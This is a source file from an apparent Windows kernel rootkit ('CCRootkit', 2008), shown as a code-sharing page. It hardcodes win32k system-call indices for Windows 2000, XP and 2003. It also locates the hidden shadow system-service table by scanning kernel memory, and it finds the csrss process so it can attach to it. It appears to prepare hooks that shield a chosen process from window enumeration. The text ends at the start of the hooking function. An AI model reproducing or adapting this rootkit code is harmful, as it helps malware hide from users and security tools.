📄 hookshadowssdt.c
字号:
/******************************************************************************
**
** FileName : HookShadowSSDT.c
** Version : 0.10
** Author : embedlinux(E-mai:hqulyc@126.com QQ:5054-3533)
** Date : 2008-08-04
** Comment :
**
******************************************************************************/
#include "HookShadowSSDT.h"
#include "dbghelp.h"
//全局变量
ULONG NtUserFindWindowExIndex = 0; //NtUserFindWindowEx的索引号
ULONG NtUserGetForegroundWindowIndex = 0; //NtUserGetForegroundWindow的索引号
ULONG NtUserQueryWindowIndex = 0; //NtUserQueryWindow的索引号
ULONG NtUserBuildHwndListIndex = 0; //NtUserBuildHwndList的索引号
/*
ULONG NtUserWindowFromPointIndex = 0; //NtUserWindowFromPoint的索引号
ULONG NtUserSetWindowsHookExIndex = 0; //NtUserSetWindowsHookEx的索引号
ULONG NtUserGetDCIndex = 0;
ULONG NtUserGetDCExIndex = 0;
ULONG NtUserSendInputIndex = 0;
*/
ULONG LastForegroundWindow;
//KeServiceDescriptorTableShadow
PServiceDescriptorTableEntry KeServiceDescriptorTableShadow;
PMDL g_pMdlSystemCall = 0;
PVOID *MappedSystemCallTable;
ULONG ProcessIdToProtect = 0; //保护的句柄
//根据操作系统来确定具体函数的服务号
VOID InitSysCallIndex()
{
ULONG majorVersion, minorVersion;
PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );
if ( majorVersion == 5 && minorVersion == 2 )
{
dprintf("CCRootkit: Running on Windows 2003");
NtUserFindWindowExIndex = 0x179;//NtUserFindWindowEx
NtUserGetForegroundWindowIndex = 0x193;//NtUserGetForegroundWindow
NtUserQueryWindowIndex = 0x1E1;//NtUserQueryWindow
NtUserBuildHwndListIndex = 0x137;//NtUserBuildHwndList
/*
NtUserWindowFromPointIndex = 0x24C;//NtUserWindowFromPoint
NtUserSetWindowsHookExIndex = 0x221;//NtUserSetWindowsHookEx
NtUserGetDCIndex = 0x190;//NtUserGetDC
NtUserGetDCExIndex = 0x191;//NtUserGetDCEx
NtUserSendInputIndex = 0x1F4;//NtUserSendInput
*/
}
else if ( majorVersion == 5 && minorVersion == 1 )
{
dprintf("CCRootkit: Running on Windows XP");
NtUserFindWindowExIndex = 0x17A;//NtUserFindWindowEx
NtUserGetForegroundWindowIndex = 0x194;//NtUserGetForegroundWindow
NtUserQueryWindowIndex = 0x1E3;//NtUserQueryWindow
NtUserBuildHwndListIndex = 0x138;//NtUserBuildHwndList
/*
NtUserWindowFromPointIndex = 0x250;//NtUserWindowFromPoint
NtUserSetWindowsHookExIndex = 0x225;//NtUserSetWindowsHookEx
NtUserGetDCIndex = 0x191;//NtUserGetDC
NtUserGetDCExIndex = 0x192;//NtUserGetDCEx
NtUserSendInputIndex = 0x1F6;//NtUserSendInput
*/
}
else if ( majorVersion == 5 && minorVersion == 0 )
{
dprintf("CCRootkit: Running on Windows 2000");
NtUserFindWindowExIndex = 0x170;//NtUserFindWindowEx
NtUserGetForegroundWindowIndex = 0x189;//NtUserGetForegroundWindow
NtUserQueryWindowIndex = 0x1D2;//NtUserQueryWindow
NtUserBuildHwndListIndex = 0x12E;//NtUserBuildHwndList
/*
NtUserWindowFromPointIndex = 0x238;//NtUserWindowFromPoint
NtUserSetWindowsHookExIndex = 0x212;//NtUserSetWindowsHookEx
NtUserGetDCIndex = 0x186;//NtUserGetDC
NtUserGetDCExIndex = 0x187;//NtUserGetDCEx
NtUserSendInputIndex = 0x1E1;//NtUserSendInput
*/
}
}
//延时(毫秒)
BOOLEAN Sleep(ULONG MillionSecond)
{
NTSTATUS ntStatus;
LARGE_INTEGER DelayTime;
DelayTime = RtlConvertLongToLargeInteger(-10000*MillionSecond);
ntStatus = KeDelayExecutionThread( KernelMode, FALSE, &DelayTime );
if( NT_SUCCESS(ntStatus) )
return TRUE;
else
return FALSE;
}
//获取KeServiceDescriptorTableShadow地址
unsigned int GetAddressOfShadowTable()
{
unsigned int i;
unsigned char *p;
unsigned int dwordatbyte;
UNICODE_STRING usKeAddSystemServiceTable;
RtlInitUnicodeString(&usKeAddSystemServiceTable, L"KeAddSystemServiceTable");
p = (unsigned char*)MmGetSystemRoutineAddress(&usKeAddSystemServiceTable);
for(i = 0; i < 4096; i++, p++)
{
__try
{
dwordatbyte = *(unsigned int*)p;
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
return 0;
}
if(MmIsAddressValid((PVOID)dwordatbyte))
{
if(memcmp((PVOID)dwordatbyte, &KeServiceDescriptorTable, 16) == 0)
{
if((PVOID)dwordatbyte == &KeServiceDescriptorTable)
{
continue;
}
return dwordatbyte;
}
}
}
return 0;
}
//另一种获取KeServiceDescriptorTableShadow地址的方法
PULONG GetAddressOfShadowTable2()
{
PUCHAR Buff;
PUCHAR p;
UNICODE_STRING usKeAddSystemServiceTable;
PULONG ShadowTable;
RtlInitUnicodeString(&usKeAddSystemServiceTable, L"KeAddSystemServiceTable");
Buff = (PUCHAR)MmGetSystemRoutineAddress(&usKeAddSystemServiceTable);
for( p=Buff; p < Buff+PAGE_SIZE; p++ )
{
if( MmIsAddressValid( (PVOID)p ) )
{
if( (*(PUSHORT)p == 0x888D ) && (*(p+6) == 0x83 ) )
{
ShadowTable = (PULONG)(p+2);
break;
}
}
}
dprintf("CCRootkit: KeGetKeServiceDescriptorTableShadow(XPSP2:80553340) = 0x%08X\n", *(PULONG)ShadowTable );
return ShadowTable ? ShadowTable : NULL;
}
ULONG GetShadowTable()
{
KeServiceDescriptorTableShadow = (PServiceDescriptorTableEntry)GetAddressOfShadowTable();
if(KeServiceDescriptorTableShadow == NULL)
{
dprintf("CCRootkit: Couldnt find shadowtable!");
return FALSE;
}
else
{
dprintf("CCRootkit: Shadowtable has been found!");
dprintf("CCRootkit: Shadowtable entries: %d", KeServiceDescriptorTableShadow[1].NumberOfServices);
return TRUE;
}
}
PVOID GetInfoTable( ULONG TableType )
{
ULONG mSize = 0x4000;
PVOID mPtr = NULL;
NTSTATUS ntStatus;
do
{
mPtr = ExAllocatePoolWithTag( PagedPool, mSize, 'kdD' );
if( mPtr != NULL )
{
ntStatus = ZwQuerySystemInformation( TableType, mPtr, mSize, NULL );
}
else
{
return NULL;
}
if( ntStatus == STATUS_INFO_LENGTH_MISMATCH)
{
ExFreePoolWithTag( mPtr, 'kdD' );
mSize = mSize * 2;
}
}
while( ntStatus == STATUS_INFO_LENGTH_MISMATCH );
if ( NT_SUCCESS(ntStatus) )
{
dprintf("CCRootkit: GetInfoTable Success!");
dprintf("CCRootkit: Info table in memory size - %d", mSize);
return mPtr;
}
else
{
ExFreePoolWithTag( mPtr, 'kdD' );
}
return NULL;
}
//获取csrss.exe进程
ULONG GetCsrPid()
{
NTSTATUS ntStatus;
HANDLE Process, hObject;
NTSTATUS St;
ULONG CsrId = 0;
OBJECT_ATTRIBUTES obj;
CLIENT_ID cid;
POBJECT_NAME_INFORMATION ObjName;
UNICODE_STRING ApiPortName;
PSYSTEM_HANDLE_INFORMATION_EX Handles;
int i;
RtlInitUnicodeString(&ApiPortName, L"\\Windows\\ApiPort");
Handles = GetInfoTable( SystemHandleInformation );
if( Handles == NULL )
return 0;
ObjName = ExAllocatePool( PagedPool, 0x2000 );
dprintf("CCRootkit: Number of handles %d", Handles->NumberOfHandles);
for( i = 0; i != Handles->NumberOfHandles; i++ )
{ //打开的对象的类型是否为21
if (Handles->Information[i].ObjectTypeNumber == 21) //Port object
{
InitializeObjectAttributes(
&obj,
NULL,
OBJ_KERNEL_HANDLE,
NULL,
NULL);
cid.UniqueProcess = (HANDLE)Handles->Information[i].ProcessId;
cid.UniqueThread = 0;
ntStatus = ZwOpenProcess(&Process, PROCESS_DUP_HANDLE, &obj, &cid);
if( NT_SUCCESS(ntStatus) )
{
ntStatus = ZwDuplicateObject(
Process,
(HANDLE)Handles->Information[i].Handle,
NtCurrentProcess(),
&hObject,
0,
0,
DUPLICATE_SAME_ACCESS);
if( NT_SUCCESS(ntStatus) )
{
ntStatus = ZwQueryObject(
hObject,
ObjectNameInformation,
ObjName,
0x2000,
NULL);
if( NT_SUCCESS(ntStatus) )
{
if (ObjName->Name.Buffer != NULL)
{
if ( wcsncmp(ApiPortName.Buffer,
ObjName->Name.Buffer, 20) == 0 )
{
dprintf("CCRootkit: Csrss PID:%d",
Handles->Information[i].ProcessId);
dprintf("CCRootkit: Csrss Port - %ws", ObjName->Name.Buffer);
CsrId = Handles->Information[i].ProcessId;
ZwClose( Process );
ZwClose( hObject );
CsrId = Handles->Information[i].ProcessId;
ExFreePool( Handles );
ExFreePool( ObjName );
return CsrId;
}
}
}
else
dprintf("CCRootkit: Error in Query Object");
ZwClose(hObject);
}
else
dprintf("CCRootkit: Error on duplicating object");
ZwClose(Process);
}
else
dprintf("CCRootkit: Could not open process");
}
}
ExFreePool( Handles );
ExFreePool( ObjName );
return 0;
}
//启动Shadow Hook
//win32k.sys不是常在内存的,如果不是GUI线程,shadow ssdt地址无效
//解决方式之一是AttachToProcess,通常我们使用csrss.exe进程
NTSTATUS HookShadowTable()
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -